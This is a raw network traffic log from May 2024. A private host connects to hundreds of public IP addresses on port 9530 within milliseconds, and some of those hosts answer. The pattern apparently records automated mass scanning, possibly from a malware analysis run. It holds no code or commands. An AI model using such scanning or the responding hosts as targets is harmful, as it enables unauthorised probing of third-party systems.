May 16, 2024 16:38:53.010185003 CEST	55095	9530	192.168.2.23	48.189.29.105
May 16, 2024 16:38:53.010185957 CEST	55095	9530	192.168.2.23	171.132.129.46
May 16, 2024 16:38:53.010189056 CEST	55095	9530	192.168.2.23	216.215.238.51
May 16, 2024 16:38:53.010189056 CEST	55095	9530	192.168.2.23	129.13.80.192
May 16, 2024 16:38:53.010190010 CEST	55095	9530	192.168.2.23	189.73.120.90
May 16, 2024 16:38:53.010190964 CEST	55095	9530	192.168.2.23	76.73.9.47
May 16, 2024 16:38:53.010195971 CEST	55095	9530	192.168.2.23	35.11.35.254
May 16, 2024 16:38:53.010204077 CEST	55095	9530	192.168.2.23	195.235.249.188
May 16, 2024 16:38:53.010205030 CEST	55095	9530	192.168.2.23	125.50.172.18
May 16, 2024 16:38:53.010207891 CEST	55095	9530	192.168.2.23	115.102.161.64
May 16, 2024 16:38:53.010207891 CEST	55095	9530	192.168.2.23	97.67.86.70
May 16, 2024 16:38:53.010222912 CEST	55095	9530	192.168.2.23	109.12.35.70
May 16, 2024 16:38:53.010230064 CEST	55095	9530	192.168.2.23	146.28.6.94
May 16, 2024 16:38:53.010230064 CEST	55095	9530	192.168.2.23	37.26.131.166
May 16, 2024 16:38:53.010232925 CEST	55095	9530	192.168.2.23	131.113.50.240
May 16, 2024 16:38:53.010232925 CEST	55095	9530	192.168.2.23	192.227.45.19
May 16, 2024 16:38:53.010235071 CEST	55095	9530	192.168.2.23	173.27.179.181
May 16, 2024 16:38:53.010248899 CEST	55095	9530	192.168.2.23	197.78.165.124
May 16, 2024 16:38:53.010250092 CEST	55095	9530	192.168.2.23	209.85.87.194
May 16, 2024 16:38:53.010251045 CEST	55095	9530	192.168.2.23	206.164.109.2
May 16, 2024 16:38:53.010251045 CEST	55095	9530	192.168.2.23	154.109.29.181
May 16, 2024 16:38:53.010253906 CEST	55095	9530	192.168.2.23	104.253.100.52
May 16, 2024 16:38:53.010253906 CEST	55095	9530	192.168.2.23	82.5.207.23
May 16, 2024 16:38:53.010262966 CEST	55095	9530	192.168.2.23	53.147.202.118
May 16, 2024 16:38:53.010276079 CEST	55095	9530	192.168.2.23	154.235.112.238
May 16, 2024 16:38:53.010288000 CEST	55095	9530	192.168.2.23	131.254.254.157
May 16, 2024 16:38:53.010291100 CEST	55095	9530	192.168.2.23	61.226.140.54
May 16, 2024 16:38:53.010294914 CEST	55095	9530	192.168.2.23	136.190.119.122
May 16, 2024 16:38:53.010294914 CEST	55095	9530	192.168.2.23	193.194.208.30
May 16, 2024 16:38:53.010294914 CEST	55095	9530	192.168.2.23	114.212.235.90
May 16, 2024 16:38:53.010294914 CEST	55095	9530	192.168.2.23	39.157.109.128
May 16, 2024 16:38:53.010312080 CEST	55095	9530	192.168.2.23	155.203.47.170
May 16, 2024 16:38:53.010312080 CEST	55095	9530	192.168.2.23	211.190.9.137
May 16, 2024 16:38:53.010313034 CEST	55095	9530	192.168.2.23	122.157.112.245
May 16, 2024 16:38:53.010327101 CEST	55095	9530	192.168.2.23	40.48.132.172
May 16, 2024 16:38:53.010327101 CEST	55095	9530	192.168.2.23	112.142.168.218
May 16, 2024 16:38:53.010339022 CEST	55095	9530	192.168.2.23	163.105.15.24
May 16, 2024 16:38:53.010339022 CEST	55095	9530	192.168.2.23	152.197.184.80
May 16, 2024 16:38:53.010339022 CEST	55095	9530	192.168.2.23	116.194.122.237
May 16, 2024 16:38:53.010341883 CEST	55095	9530	192.168.2.23	103.42.124.59
May 16, 2024 16:38:53.010341883 CEST	55095	9530	192.168.2.23	123.125.38.240
May 16, 2024 16:38:53.010341883 CEST	55095	9530	192.168.2.23	217.58.212.49
May 16, 2024 16:38:53.010341883 CEST	55095	9530	192.168.2.23	67.135.81.131
May 16, 2024 16:38:53.010344982 CEST	55095	9530	192.168.2.23	133.158.127.25
May 16, 2024 16:38:53.010346889 CEST	55095	9530	192.168.2.23	20.120.9.110
May 16, 2024 16:38:53.010346889 CEST	55095	9530	192.168.2.23	93.229.52.209
May 16, 2024 16:38:53.010346889 CEST	55095	9530	192.168.2.23	96.108.116.231
May 16, 2024 16:38:53.010356903 CEST	55095	9530	192.168.2.23	23.89.138.244
May 16, 2024 16:38:53.010356903 CEST	55095	9530	192.168.2.23	194.75.183.159
May 16, 2024 16:38:53.010356903 CEST	55095	9530	192.168.2.23	65.29.249.180
May 16, 2024 16:38:53.010359049 CEST	55095	9530	192.168.2.23	135.181.176.150
May 16, 2024 16:38:53.010360003 CEST	55095	9530	192.168.2.23	158.255.130.185
May 16, 2024 16:38:53.010368109 CEST	55095	9530	192.168.2.23	12.182.65.177
May 16, 2024 16:38:53.010368109 CEST	55095	9530	192.168.2.23	144.68.46.229
May 16, 2024 16:38:53.010370016 CEST	55095	9530	192.168.2.23	52.150.182.237
May 16, 2024 16:38:53.010370970 CEST	55095	9530	192.168.2.23	187.122.194.164
May 16, 2024 16:38:53.010392904 CEST	55095	9530	192.168.2.23	125.21.106.162
May 16, 2024 16:38:53.010392904 CEST	55095	9530	192.168.2.23	194.67.247.17
May 16, 2024 16:38:53.010396957 CEST	55095	9530	192.168.2.23	27.175.170.184
May 16, 2024 16:38:53.010396957 CEST	55095	9530	192.168.2.23	24.218.202.86
May 16, 2024 16:38:53.010396957 CEST	55095	9530	192.168.2.23	14.159.7.114
May 16, 2024 16:38:53.010396957 CEST	55095	9530	192.168.2.23	209.246.202.49
May 16, 2024 16:38:53.010407925 CEST	55095	9530	192.168.2.23	37.234.255.235
May 16, 2024 16:38:53.010411978 CEST	55095	9530	192.168.2.23	152.31.57.72
May 16, 2024 16:38:53.010417938 CEST	55095	9530	192.168.2.23	148.224.38.40
May 16, 2024 16:38:53.010417938 CEST	55095	9530	192.168.2.23	131.196.48.34
May 16, 2024 16:38:53.010418892 CEST	55095	9530	192.168.2.23	218.82.216.15
May 16, 2024 16:38:53.010437012 CEST	55095	9530	192.168.2.23	147.96.50.254
May 16, 2024 16:38:53.010445118 CEST	55095	9530	192.168.2.23	5.166.158.4
May 16, 2024 16:38:53.010445118 CEST	55095	9530	192.168.2.23	132.162.5.252
May 16, 2024 16:38:53.010445118 CEST	55095	9530	192.168.2.23	202.27.7.62
May 16, 2024 16:38:53.010449886 CEST	55095	9530	192.168.2.23	84.98.138.228
May 16, 2024 16:38:53.010452032 CEST	55095	9530	192.168.2.23	34.24.218.77
May 16, 2024 16:38:53.010452986 CEST	55095	9530	192.168.2.23	96.171.144.45
May 16, 2024 16:38:53.010452986 CEST	55095	9530	192.168.2.23	31.110.133.136
May 16, 2024 16:38:53.010457993 CEST	55095	9530	192.168.2.23	86.77.139.236
May 16, 2024 16:38:53.010458946 CEST	55095	9530	192.168.2.23	57.3.241.93
May 16, 2024 16:38:53.010457993 CEST	55095	9530	192.168.2.23	220.216.227.177
May 16, 2024 16:38:53.010458946 CEST	55095	9530	192.168.2.23	100.55.67.232
May 16, 2024 16:38:53.010476112 CEST	55095	9530	192.168.2.23	129.1.180.155
May 16, 2024 16:38:53.010477066 CEST	55095	9530	192.168.2.23	131.175.8.219
May 16, 2024 16:38:53.010477066 CEST	55095	9530	192.168.2.23	130.14.95.236
May 16, 2024 16:38:53.010484934 CEST	55095	9530	192.168.2.23	41.221.9.33
May 16, 2024 16:38:53.010484934 CEST	55095	9530	192.168.2.23	97.7.235.7
May 16, 2024 16:38:53.010484934 CEST	55095	9530	192.168.2.23	176.99.28.150
May 16, 2024 16:38:53.010490894 CEST	55095	9530	192.168.2.23	68.46.70.203
May 16, 2024 16:38:53.010490894 CEST	55095	9530	192.168.2.23	152.208.69.158
May 16, 2024 16:38:53.010513067 CEST	55095	9530	192.168.2.23	73.122.12.44
May 16, 2024 16:38:53.010515928 CEST	55095	9530	192.168.2.23	156.6.66.99
May 16, 2024 16:38:53.010521889 CEST	55095	9530	192.168.2.23	114.35.224.216
May 16, 2024 16:38:53.010524988 CEST	55095	9530	192.168.2.23	179.90.83.206
May 16, 2024 16:38:53.010524988 CEST	55095	9530	192.168.2.23	77.159.70.8
May 16, 2024 16:38:53.010538101 CEST	55095	9530	192.168.2.23	90.60.73.127
May 16, 2024 16:38:53.010539055 CEST	55095	9530	192.168.2.23	54.153.82.124
May 16, 2024 16:38:53.010539055 CEST	55095	9530	192.168.2.23	185.186.234.31
May 16, 2024 16:38:53.010539055 CEST	55095	9530	192.168.2.23	130.29.214.17
May 16, 2024 16:38:53.010544062 CEST	55095	9530	192.168.2.23	138.150.15.53
May 16, 2024 16:38:53.010544062 CEST	55095	9530	192.168.2.23	104.199.115.251
May 16, 2024 16:38:53.010545015 CEST	55095	9530	192.168.2.23	128.205.64.68
May 16, 2024 16:38:53.010545015 CEST	55095	9530	192.168.2.23	147.28.230.125
May 16, 2024 16:38:53.010576010 CEST	55095	9530	192.168.2.23	76.173.99.79
May 16, 2024 16:38:53.010577917 CEST	55095	9530	192.168.2.23	177.35.20.192
May 16, 2024 16:38:53.010579109 CEST	55095	9530	192.168.2.23	125.13.154.204
May 16, 2024 16:38:53.010579109 CEST	55095	9530	192.168.2.23	79.60.165.12
May 16, 2024 16:38:53.010581017 CEST	55095	9530	192.168.2.23	220.248.146.106
May 16, 2024 16:38:53.010593891 CEST	55095	9530	192.168.2.23	40.214.122.148
May 16, 2024 16:38:53.010595083 CEST	55095	9530	192.168.2.23	152.170.240.110
May 16, 2024 16:38:53.010595083 CEST	55095	9530	192.168.2.23	125.115.169.115
May 16, 2024 16:38:53.010612011 CEST	55095	9530	192.168.2.23	176.211.108.183
May 16, 2024 16:38:53.010612011 CEST	55095	9530	192.168.2.23	174.165.134.255
May 16, 2024 16:38:53.010612965 CEST	55095	9530	192.168.2.23	41.158.244.52
May 16, 2024 16:38:53.010613918 CEST	55095	9530	192.168.2.23	219.194.1.93
May 16, 2024 16:38:53.010612965 CEST	55095	9530	192.168.2.23	104.69.13.46
May 16, 2024 16:38:53.010617971 CEST	55095	9530	192.168.2.23	38.206.253.3
May 16, 2024 16:38:53.010618925 CEST	55095	9530	192.168.2.23	139.131.110.102
May 16, 2024 16:38:53.010627985 CEST	55095	9530	192.168.2.23	60.225.14.242
May 16, 2024 16:38:53.010628939 CEST	55095	9530	192.168.2.23	109.225.215.18
May 16, 2024 16:38:53.010628939 CEST	55095	9530	192.168.2.23	131.214.56.184
May 16, 2024 16:38:53.010648012 CEST	55095	9530	192.168.2.23	59.97.19.207
May 16, 2024 16:38:53.010648966 CEST	55095	9530	192.168.2.23	77.151.7.130
May 16, 2024 16:38:53.010648966 CEST	55095	9530	192.168.2.23	132.136.153.211
May 16, 2024 16:38:53.010653973 CEST	55095	9530	192.168.2.23	161.112.102.232
May 16, 2024 16:38:53.010653019 CEST	55095	9530	192.168.2.23	43.211.137.184
May 16, 2024 16:38:53.010654926 CEST	55095	9530	192.168.2.23	145.5.18.106
May 16, 2024 16:38:53.010654926 CEST	55095	9530	192.168.2.23	188.131.112.185
May 16, 2024 16:38:53.010657072 CEST	55095	9530	192.168.2.23	8.150.10.86
May 16, 2024 16:38:53.010657072 CEST	55095	9530	192.168.2.23	109.208.105.178
May 16, 2024 16:38:53.010670900 CEST	55095	9530	192.168.2.23	79.166.55.246
May 16, 2024 16:38:53.010672092 CEST	55095	9530	192.168.2.23	92.90.164.227
May 16, 2024 16:38:53.010679960 CEST	55095	9530	192.168.2.23	24.109.208.197
May 16, 2024 16:38:53.010679960 CEST	55095	9530	192.168.2.23	90.199.43.185
May 16, 2024 16:38:53.010677099 CEST	55095	9530	192.168.2.23	17.28.158.236
May 16, 2024 16:38:53.010684013 CEST	55095	9530	192.168.2.23	223.112.162.35
May 16, 2024 16:38:53.010701895 CEST	55095	9530	192.168.2.23	123.249.71.38
May 16, 2024 16:38:53.010703087 CEST	55095	9530	192.168.2.23	137.82.53.222
May 16, 2024 16:38:53.010708094 CEST	55095	9530	192.168.2.23	155.90.126.129
May 16, 2024 16:38:53.010709047 CEST	55095	9530	192.168.2.23	35.114.79.245
May 16, 2024 16:38:53.010718107 CEST	55095	9530	192.168.2.23	61.11.166.59
May 16, 2024 16:38:53.010720968 CEST	55095	9530	192.168.2.23	195.124.101.58
May 16, 2024 16:38:53.010729074 CEST	55095	9530	192.168.2.23	129.196.45.134
May 16, 2024 16:38:53.010729074 CEST	55095	9530	192.168.2.23	1.35.22.26
May 16, 2024 16:38:53.010729074 CEST	55095	9530	192.168.2.23	119.202.22.205
May 16, 2024 16:38:53.010730028 CEST	55095	9530	192.168.2.23	134.189.201.150
May 16, 2024 16:38:53.010729074 CEST	55095	9530	192.168.2.23	45.101.128.60
May 16, 2024 16:38:53.010731936 CEST	55095	9530	192.168.2.23	212.147.47.3
May 16, 2024 16:38:53.010729074 CEST	55095	9530	192.168.2.23	51.16.238.231
May 16, 2024 16:38:53.010732889 CEST	55095	9530	192.168.2.23	144.216.227.52
May 16, 2024 16:38:53.010730982 CEST	55095	9530	192.168.2.23	181.219.219.179
May 16, 2024 16:38:53.010731936 CEST	55095	9530	192.168.2.23	110.13.82.223
May 16, 2024 16:38:53.010732889 CEST	55095	9530	192.168.2.23	184.255.153.243
May 16, 2024 16:38:53.010732889 CEST	55095	9530	192.168.2.23	190.18.68.230
May 16, 2024 16:38:53.010736942 CEST	55095	9530	192.168.2.23	78.86.42.211
May 16, 2024 16:38:53.010760069 CEST	55095	9530	192.168.2.23	158.245.238.135
May 16, 2024 16:38:53.010761976 CEST	55095	9530	192.168.2.23	49.27.172.181
May 16, 2024 16:38:53.010766983 CEST	55095	9530	192.168.2.23	156.21.124.169
May 16, 2024 16:38:53.010768890 CEST	55095	9530	192.168.2.23	128.54.224.95
May 16, 2024 16:38:53.010771990 CEST	55095	9530	192.168.2.23	140.170.49.146
May 16, 2024 16:38:53.010771990 CEST	55095	9530	192.168.2.23	50.154.103.203
May 16, 2024 16:38:53.010788918 CEST	55095	9530	192.168.2.23	190.69.62.222
May 16, 2024 16:38:53.010788918 CEST	55095	9530	192.168.2.23	200.220.228.145
May 16, 2024 16:38:53.010796070 CEST	55095	9530	192.168.2.23	54.12.181.17
May 16, 2024 16:38:53.010797024 CEST	55095	9530	192.168.2.23	151.224.163.95
May 16, 2024 16:38:53.010799885 CEST	55095	9530	192.168.2.23	109.5.92.14
May 16, 2024 16:38:53.010799885 CEST	55095	9530	192.168.2.23	14.78.115.69
May 16, 2024 16:38:53.010812044 CEST	55095	9530	192.168.2.23	118.102.19.52
May 16, 2024 16:38:53.010812998 CEST	55095	9530	192.168.2.23	202.230.226.139
May 16, 2024 16:38:53.010814905 CEST	55095	9530	192.168.2.23	1.220.122.248
May 16, 2024 16:38:53.010818958 CEST	55095	9530	192.168.2.23	69.78.167.33
May 16, 2024 16:38:53.010821104 CEST	55095	9530	192.168.2.23	68.199.62.175
May 16, 2024 16:38:53.010823011 CEST	55095	9530	192.168.2.23	92.130.200.47
May 16, 2024 16:38:53.010827065 CEST	55095	9530	192.168.2.23	189.151.160.82
May 16, 2024 16:38:53.010835886 CEST	55095	9530	192.168.2.23	133.1.25.26
May 16, 2024 16:38:53.010835886 CEST	55095	9530	192.168.2.23	184.229.6.62
May 16, 2024 16:38:53.010839939 CEST	55095	9530	192.168.2.23	189.67.108.39
May 16, 2024 16:38:53.010842085 CEST	55095	9530	192.168.2.23	111.205.139.108
May 16, 2024 16:38:53.010847092 CEST	55095	9530	192.168.2.23	163.115.164.148
May 16, 2024 16:38:53.010853052 CEST	55095	9530	192.168.2.23	72.61.74.1
May 16, 2024 16:38:53.010858059 CEST	55095	9530	192.168.2.23	206.247.200.121
May 16, 2024 16:38:53.010858059 CEST	55095	9530	192.168.2.23	154.195.171.103
May 16, 2024 16:38:53.010863066 CEST	55095	9530	192.168.2.23	90.176.24.8
May 16, 2024 16:38:53.010880947 CEST	55095	9530	192.168.2.23	101.48.11.134
May 16, 2024 16:38:53.010880947 CEST	55095	9530	192.168.2.23	68.73.9.103
May 16, 2024 16:38:53.010880947 CEST	55095	9530	192.168.2.23	83.67.246.189
May 16, 2024 16:38:53.010883093 CEST	55095	9530	192.168.2.23	194.25.75.205
May 16, 2024 16:38:53.010880947 CEST	55095	9530	192.168.2.23	106.70.24.187
May 16, 2024 16:38:53.010883093 CEST	55095	9530	192.168.2.23	132.176.109.106
May 16, 2024 16:38:53.010885954 CEST	55095	9530	192.168.2.23	216.234.109.67
May 16, 2024 16:38:53.010894060 CEST	55095	9530	192.168.2.23	147.157.115.144
May 16, 2024 16:38:53.010905981 CEST	55095	9530	192.168.2.23	203.6.145.165
May 16, 2024 16:38:53.010911942 CEST	55095	9530	192.168.2.23	78.113.49.244
May 16, 2024 16:38:53.010911942 CEST	55095	9530	192.168.2.23	168.138.118.32
May 16, 2024 16:38:53.010912895 CEST	55095	9530	192.168.2.23	85.36.245.222
May 16, 2024 16:38:53.010914087 CEST	55095	9530	192.168.2.23	164.117.79.201
May 16, 2024 16:38:53.010914087 CEST	55095	9530	192.168.2.23	133.172.205.2
May 16, 2024 16:38:53.010921955 CEST	55095	9530	192.168.2.23	77.236.170.67
May 16, 2024 16:38:53.010921955 CEST	55095	9530	192.168.2.23	68.97.250.40
May 16, 2024 16:38:53.010921955 CEST	55095	9530	192.168.2.23	112.119.242.101
May 16, 2024 16:38:53.010924101 CEST	55095	9530	192.168.2.23	133.28.26.142
May 16, 2024 16:38:53.010924101 CEST	55095	9530	192.168.2.23	41.164.198.200
May 16, 2024 16:38:53.010924101 CEST	55095	9530	192.168.2.23	185.139.222.84
May 16, 2024 16:38:53.010924101 CEST	55095	9530	192.168.2.23	174.55.239.78
May 16, 2024 16:38:53.010924101 CEST	55095	9530	192.168.2.23	119.190.37.240
May 16, 2024 16:38:53.010924101 CEST	55095	9530	192.168.2.23	25.255.243.182
May 16, 2024 16:38:53.010926962 CEST	55095	9530	192.168.2.23	105.103.58.39
May 16, 2024 16:38:53.010926962 CEST	55095	9530	192.168.2.23	107.175.136.89
May 16, 2024 16:38:53.010926962 CEST	55095	9530	192.168.2.23	18.227.236.10
May 16, 2024 16:38:53.010930061 CEST	55095	9530	192.168.2.23	72.124.34.183
May 16, 2024 16:38:53.010943890 CEST	55095	9530	192.168.2.23	132.216.97.226
May 16, 2024 16:38:53.010946989 CEST	55095	9530	192.168.2.23	216.173.140.45
May 16, 2024 16:38:53.010952950 CEST	55095	9530	192.168.2.23	38.37.240.14
May 16, 2024 16:38:53.010957956 CEST	55095	9530	192.168.2.23	151.135.194.35
May 16, 2024 16:38:53.010957956 CEST	55095	9530	192.168.2.23	201.101.244.244
May 16, 2024 16:38:53.010962963 CEST	55095	9530	192.168.2.23	191.203.253.50
May 16, 2024 16:38:53.010966063 CEST	55095	9530	192.168.2.23	223.109.115.133
May 16, 2024 16:38:53.010972977 CEST	55095	9530	192.168.2.23	90.42.224.82
May 16, 2024 16:38:53.010972977 CEST	55095	9530	192.168.2.23	221.87.78.82
May 16, 2024 16:38:53.010972977 CEST	55095	9530	192.168.2.23	172.66.125.129
May 16, 2024 16:38:53.010977030 CEST	55095	9530	192.168.2.23	80.70.211.57
May 16, 2024 16:38:53.010977983 CEST	55095	9530	192.168.2.23	169.3.254.143
May 16, 2024 16:38:53.010987043 CEST	55095	9530	192.168.2.23	143.233.167.129
May 16, 2024 16:38:53.010988951 CEST	55095	9530	192.168.2.23	44.35.142.122
May 16, 2024 16:38:53.010988951 CEST	55095	9530	192.168.2.23	182.10.130.111
May 16, 2024 16:38:53.011006117 CEST	55095	9530	192.168.2.23	196.65.71.58
May 16, 2024 16:38:53.011006117 CEST	55095	9530	192.168.2.23	54.64.99.234
May 16, 2024 16:38:53.011018038 CEST	55095	9530	192.168.2.23	216.2.210.23
May 16, 2024 16:38:53.011022091 CEST	55095	9530	192.168.2.23	195.97.215.96
May 16, 2024 16:38:53.011023045 CEST	55095	9530	192.168.2.23	45.171.165.208
May 16, 2024 16:38:53.011034966 CEST	55095	9530	192.168.2.23	78.64.76.34
May 16, 2024 16:38:53.011035919 CEST	55095	9530	192.168.2.23	165.232.14.113
May 16, 2024 16:38:53.011038065 CEST	55095	9530	192.168.2.23	42.187.92.59
May 16, 2024 16:38:53.011046886 CEST	55095	9530	192.168.2.23	49.76.97.218
May 16, 2024 16:38:53.011054993 CEST	55095	9530	192.168.2.23	70.255.149.23
May 16, 2024 16:38:53.011061907 CEST	55095	9530	192.168.2.23	101.51.215.138
May 16, 2024 16:38:53.011061907 CEST	55095	9530	192.168.2.23	105.42.79.32
May 16, 2024 16:38:53.011068106 CEST	55095	9530	192.168.2.23	110.33.153.228
May 16, 2024 16:38:53.011070967 CEST	55095	9530	192.168.2.23	105.48.67.226
May 16, 2024 16:38:53.011070967 CEST	55095	9530	192.168.2.23	124.230.179.224
May 16, 2024 16:38:53.011070967 CEST	55095	9530	192.168.2.23	86.38.250.38
May 16, 2024 16:38:53.011074066 CEST	55095	9530	192.168.2.23	142.74.158.243
May 16, 2024 16:38:53.011081934 CEST	55095	9530	192.168.2.23	202.91.221.238
May 16, 2024 16:38:53.011085987 CEST	55095	9530	192.168.2.23	75.225.67.71
May 16, 2024 16:38:53.011087894 CEST	55095	9530	192.168.2.23	17.222.74.249
May 16, 2024 16:38:53.011095047 CEST	55095	9530	192.168.2.23	158.234.0.195
May 16, 2024 16:38:53.011104107 CEST	55095	9530	192.168.2.23	131.206.220.251
May 16, 2024 16:38:53.011104107 CEST	55095	9530	192.168.2.23	99.172.171.73
May 16, 2024 16:38:53.011104107 CEST	55095	9530	192.168.2.23	128.208.23.97
May 16, 2024 16:38:53.011106968 CEST	55095	9530	192.168.2.23	52.68.89.198
May 16, 2024 16:38:53.011111975 CEST	55095	9530	192.168.2.23	67.183.0.146
May 16, 2024 16:38:53.011115074 CEST	55095	9530	192.168.2.23	43.183.248.236
May 16, 2024 16:38:53.011126995 CEST	55095	9530	192.168.2.23	71.102.44.233
May 16, 2024 16:38:53.011126995 CEST	55095	9530	192.168.2.23	192.234.91.35
May 16, 2024 16:38:53.011133909 CEST	55095	9530	192.168.2.23	64.45.209.104
May 16, 2024 16:38:53.011137962 CEST	55095	9530	192.168.2.23	139.202.25.156
May 16, 2024 16:38:53.011140108 CEST	55095	9530	192.168.2.23	180.186.201.3
May 16, 2024 16:38:53.011152029 CEST	55095	9530	192.168.2.23	90.208.56.150
May 16, 2024 16:38:53.011152029 CEST	55095	9530	192.168.2.23	159.158.130.248
May 16, 2024 16:38:53.011188030 CEST	40424	9530	192.168.2.23	146.194.218.108
May 16, 2024 16:38:53.011189938 CEST	52366	9530	192.168.2.23	182.196.102.135
May 16, 2024 16:38:53.011189938 CEST	50176	9530	192.168.2.23	95.38.251.201
May 16, 2024 16:38:53.011197090 CEST	43400	9530	192.168.2.23	184.239.3.224
May 16, 2024 16:38:53.011214972 CEST	50732	9530	192.168.2.23	181.184.115.140
May 16, 2024 16:38:53.011217117 CEST	48970	9530	192.168.2.23	78.142.95.35
May 16, 2024 16:38:53.011217117 CEST	40886	9530	192.168.2.23	66.21.52.212
May 16, 2024 16:38:53.011219978 CEST	44184	9530	192.168.2.23	200.180.209.59
May 16, 2024 16:38:53.011234045 CEST	49294	9530	192.168.2.23	52.10.247.21
May 16, 2024 16:38:53.011234045 CEST	35506	9530	192.168.2.23	216.113.15.237
May 16, 2024 16:38:53.011234999 CEST	48230	9530	192.168.2.23	218.32.8.212
May 16, 2024 16:38:53.011249065 CEST	58256	9530	192.168.2.23	138.149.45.163
May 16, 2024 16:38:53.011249065 CEST	34522	9530	192.168.2.23	128.6.151.74
May 16, 2024 16:38:53.011250973 CEST	53626	9530	192.168.2.23	80.140.161.132
May 16, 2024 16:38:53.011250973 CEST	38580	9530	192.168.2.23	58.37.245.134
May 16, 2024 16:38:53.011281967 CEST	50094	9530	192.168.2.23	32.242.248.65
May 16, 2024 16:38:53.011281967 CEST	55572	9530	192.168.2.23	196.207.6.187
May 16, 2024 16:38:53.011281967 CEST	57778	9530	192.168.2.23	218.32.68.1
May 16, 2024 16:38:53.011285067 CEST	43748	9530	192.168.2.23	138.91.249.106
May 16, 2024 16:38:53.011285067 CEST	54316	9530	192.168.2.23	5.74.252.139
May 16, 2024 16:38:53.011306047 CEST	50868	9530	192.168.2.23	181.16.206.159
May 16, 2024 16:38:53.011306047 CEST	38554	9530	192.168.2.23	117.108.108.214
May 16, 2024 16:38:53.011327982 CEST	43384	9530	192.168.2.23	213.127.75.137
May 16, 2024 16:38:53.011331081 CEST	55730	9530	192.168.2.23	148.82.13.159
May 16, 2024 16:38:53.011332035 CEST	34482	9530	192.168.2.23	129.213.137.67
May 16, 2024 16:38:53.011334896 CEST	38030	9530	192.168.2.23	201.156.81.71
May 16, 2024 16:38:53.011334896 CEST	33226	9530	192.168.2.23	1.50.192.120
May 16, 2024 16:38:53.011359930 CEST	57182	9530	192.168.2.23	218.166.150.2
May 16, 2024 16:38:53.011359930 CEST	47492	9530	192.168.2.23	177.166.97.226
May 16, 2024 16:38:53.011368036 CEST	38490	9530	192.168.2.23	142.247.137.69
May 16, 2024 16:38:53.011368990 CEST	54822	9530	192.168.2.23	193.250.95.85
May 16, 2024 16:38:53.011369944 CEST	49008	9530	192.168.2.23	139.89.122.31
May 16, 2024 16:38:53.011372089 CEST	57766	9530	192.168.2.23	91.32.33.30
May 16, 2024 16:38:53.011380911 CEST	56704	9530	192.168.2.23	34.2.32.188
May 16, 2024 16:38:53.011383057 CEST	44452	9530	192.168.2.23	217.7.102.196
May 16, 2024 16:38:53.011389017 CEST	54464	9530	192.168.2.23	126.86.145.38
May 16, 2024 16:38:53.011409998 CEST	42624	9530	192.168.2.23	90.24.157.74
May 16, 2024 16:38:53.011420012 CEST	53290	9530	192.168.2.23	108.223.179.43
May 16, 2024 16:38:53.011420012 CEST	42264	9530	192.168.2.23	191.40.212.132
May 16, 2024 16:38:53.011420012 CEST	48800	9530	192.168.2.23	110.120.106.12
May 16, 2024 16:38:53.011457920 CEST	58840	9530	192.168.2.23	135.173.96.126
May 16, 2024 16:38:53.011461020 CEST	58324	9530	192.168.2.23	188.123.230.142
May 16, 2024 16:38:53.011472940 CEST	44082	9530	192.168.2.23	165.197.143.176
May 16, 2024 16:38:53.011472940 CEST	48000	9530	192.168.2.23	54.155.20.9
May 16, 2024 16:38:53.011481047 CEST	49162	9530	192.168.2.23	176.104.104.240
May 16, 2024 16:38:53.011483908 CEST	40712	9530	192.168.2.23	76.38.38.38
May 16, 2024 16:38:53.011483908 CEST	44156	9530	192.168.2.23	103.22.41.47
May 16, 2024 16:38:53.011491060 CEST	44416	9530	192.168.2.23	182.1.80.178
May 16, 2024 16:38:53.011497021 CEST	43288	9530	192.168.2.23	94.199.187.116
May 16, 2024 16:38:53.011497021 CEST	52306	9530	192.168.2.23	78.74.66.191
May 16, 2024 16:38:53.011516094 CEST	52612	9530	192.168.2.23	155.244.222.188
May 16, 2024 16:38:53.011529922 CEST	43624	9530	192.168.2.23	86.120.86.249
May 16, 2024 16:38:53.011529922 CEST	36562	9530	192.168.2.23	216.153.119.104
May 16, 2024 16:38:53.011548996 CEST	33736	9530	192.168.2.23	195.113.98.187
May 16, 2024 16:38:53.011564970 CEST	40344	9530	192.168.2.23	54.67.123.150
May 16, 2024 16:38:53.011564970 CEST	36656	9530	192.168.2.23	102.30.213.106
May 16, 2024 16:38:53.011568069 CEST	54338	9530	192.168.2.23	17.34.93.23
May 16, 2024 16:38:53.013299942 CEST	9530	43520	128.215.128.217	192.168.2.23
May 16, 2024 16:38:53.013315916 CEST	9530	50520	139.53.78.113	192.168.2.23
May 16, 2024 16:38:53.013326883 CEST	9530	36260	132.140.67.87	192.168.2.23
May 16, 2024 16:38:53.013335943 CEST	9530	47028	84.174.50.35	192.168.2.23
May 16, 2024 16:38:53.013350010 CEST	9530	39916	53.116.0.123	192.168.2.23
May 16, 2024 16:38:53.013358116 CEST	43520	9530	192.168.2.23	128.215.128.217
May 16, 2024 16:38:53.013364077 CEST	36260	9530	192.168.2.23	132.140.67.87
May 16, 2024 16:38:53.013365030 CEST	9530	34452	66.81.233.102	192.168.2.23
May 16, 2024 16:38:53.013375998 CEST	9530	59624	54.249.80.205	192.168.2.23
May 16, 2024 16:38:53.013385057 CEST	9530	51718	42.159.192.68	192.168.2.23
May 16, 2024 16:38:53.013389111 CEST	9530	36000	184.103.88.123	192.168.2.23
May 16, 2024 16:38:53.013397932 CEST	47028	9530	192.168.2.23	84.174.50.35
May 16, 2024 16:38:53.013398886 CEST	50520	9530	192.168.2.23	139.53.78.113
May 16, 2024 16:38:53.013398886 CEST	9530	37926	76.236.171.38	192.168.2.23
May 16, 2024 16:38:53.013401031 CEST	39916	9530	192.168.2.23	53.116.0.123
May 16, 2024 16:38:53.013401985 CEST	34452	9530	192.168.2.23	66.81.233.102
May 16, 2024 16:38:53.013412952 CEST	9530	47180	150.182.133.125	192.168.2.23
May 16, 2024 16:38:53.013421059 CEST	59624	9530	192.168.2.23	54.249.80.205
May 16, 2024 16:38:53.013422966 CEST	9530	52144	176.34.191.78	192.168.2.23
May 16, 2024 16:38:53.013433933 CEST	36000	9530	192.168.2.23	184.103.88.123
May 16, 2024 16:38:53.013437033 CEST	51718	9530	192.168.2.23	42.159.192.68
May 16, 2024 16:38:53.013433933 CEST	37926	9530	192.168.2.23	76.236.171.38
May 16, 2024 16:38:53.013446093 CEST	9530	42252	66.237.107.46	192.168.2.23
May 16, 2024 16:38:53.013452053 CEST	47180	9530	192.168.2.23	150.182.133.125
May 16, 2024 16:38:53.013453960 CEST	9530	56062	171.198.0.112	192.168.2.23
May 16, 2024 16:38:53.013468981 CEST	52869	39512	169.134.210.250	192.168.2.23
May 16, 2024 16:38:53.013489962 CEST	42252	9530	192.168.2.23	66.237.107.46
